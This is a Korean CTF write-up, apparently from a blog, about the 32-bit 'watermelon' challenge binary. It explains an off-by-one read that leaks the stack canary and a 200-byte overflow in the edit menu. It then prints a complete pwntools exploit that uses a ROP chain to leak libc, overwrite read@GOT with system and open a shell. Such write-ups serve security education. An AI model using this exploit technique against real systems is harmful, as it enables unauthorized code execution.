먼저 이 바이너리는 32비트 리눅스용 바이너리다.
그리고 보호기법을 보니 카나리와 nx가 설정되어있다. rop로 접근하면 될 것 같다.
바이너리를 실행하면 위 처럼 먼저 name을 입력하고 메뉴를 선택한다.
이 메뉴들에 대해선 ida로 먼저 살펴봤다.
헥스레이로 main()함수를 보면 알 수 있다.
우선 v1변수에 4400바이트를 memset한다.
그리고 name으로 입력한 값은 bss영역인 0x804D7A0에 값이 들어간다. (익스플로잇 할 때 /bin/sh을 여기에 넣을 수 있겠다.)
sub_80497FA()함수는 위와 같이 메뉴를 출력해주고 입력을 받는 함수다.
우선 1번 메뉴부터 보면
음악리스트를 추가하는 함수다.
dword_804CB88가 100이면 리스트가 꽉 찼다고 출력하고 리턴한다.
그 외엔 새로운 리스트를 추가할 수 있도록 진행된다.
근데 여기서 read()함수가 있는데.. 21바이트를 read를 하면서 1바이트의 오버플로우가 발생한다. 왜냐면 (44 * dword_804CB88 + a1 + 4)는 구조체라서 그렇다.
num[4] | music[20] | artist[20] 이렇게 되어있다. 즉 한 구조체는 44바이트를 가지고 있다.
그리고 두 번 read하는 것은 music과 artist를 받기 때문인데 둘 다 20바이트의 공간을 가지고 있으나 21바이트를 받게되면 오버플로우가 발생한다. 하지만 이걸로는 ret를 덮을 수 없다.
이 부분은 이후에 카나리를 릭할 때 필요하게 된다.
그리고 2번 메뉴는 단순히 저장된 음악 리스트를 출력해주는 함수다.
그리고 3번 메뉴를 보자.
이 메뉴는 이미 생성된 음악 리스트를 수정하는 함수다.
여기서 두번째 read()를 보면 200바이트나 수정을 한다. 즉 오버플로우를 일으킬 수 있다는 것이다.
시나리오는 먼저 1번 메뉴를 생성해 구조체의 최대 개수인 100개를 생성한 후 main()의 카나리를 릭 하고, 3번 메뉴를 실행시켜서 100번째 구조체의 artist를 수정할 때 canary부터 ret까지 덮어서 rop를 할 것이다.
우선 카나리를 구할 때 첫바이트가 널일 경우는 read에 21바이트를 입력하면 카나리가 출력이 된다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 | from pwn import * p = process( "./watermelon" ) elf = ELF( "./watermelon" ) name = 0x804D7A0 write_plt = elf.plt[ 'write' ] read_plt = elf.plt[ 'read' ] read_got = elf.got[ 'read' ] pppr = 0x8048f0d system_offset = 0x9ad60 #read - system log.info( "binary is executing..." ) p.recv() p.sendline( "/bin/sh\x00" ) p.recv() log.info( "looping.." ) for i in range ( 0 , 100 ): p.sendline( "1" ) p.recvuntil( "music" ) p.recv() p.sendline( "A" ) p.recv() p.sendline( "B" ) sleep( 0.2 ) p.recv() log.info( "playlist is FULL!" ) p.sendline( "3" ) p.recvuntil( "100" ) p.recv() p.sendline( "100" ) p.recv() p.sendline( "GGGG" ) # modify music p.recv() p.sendline( "T" * 20 ) # leak canary p.recv() p.sendline( "2" ) p.recvuntil( "T" * 20 ) canary = u32( "\x00" + p.recv().split( "\x0a" )[ 1 ][ 0 : 3 ]) log.info( "leaked CANARY = {}" . format ( hex (canary))) payload = "A" * 20 payload + = p32(canary) payload + = "A" * 12 payload + = p32(write_plt) payload + = p32(pppr) payload + = p32( 1 ) payload + = p32(read_got) payload + = p32( 4 ) payload + = p32(read_plt) payload + = p32(pppr) payload + = p32( 0 ) payload + = p32(read_got) payload + = p32( 4 ) payload + = p32(read_plt) payload + = "JUNK" payload + = p32(name) log.info( "Exploit.." ) p.sendline( "3" ) p.recv() p.recv() log.info( "sending 100" ) p.recv() p.sendline( "100" ) p.recv() p.sendline( "AAAA" ) p.recv() p.sendline(payload) p.recv() p.sendline( "4" ) p.recvuntil( "BYE BYE\n\n" ) libc_read = u32(p.recv()) log.info( "libc read = {}" . format ( hex (libc_read))) libc_system = libc_read - system_offset log.info( "libc system = {}" . format ( hex (libc_system))) p.sendline(p32(libc_system)) p.interactive() |
'CTF' 카테고리의 다른 글
EasyCTF2017 Simple ROP (0) | 2018.08.01 |
---|---|
Def-camp warmheap (0) | 2018.07.31 |
CodeGate2014 nuclear (0) | 2018.07.22 |
CodeGate 2014 angry_doraemon (0) | 2018.07.20 |
CodeGate 2017 babypwn (1) | 2018.07.18 |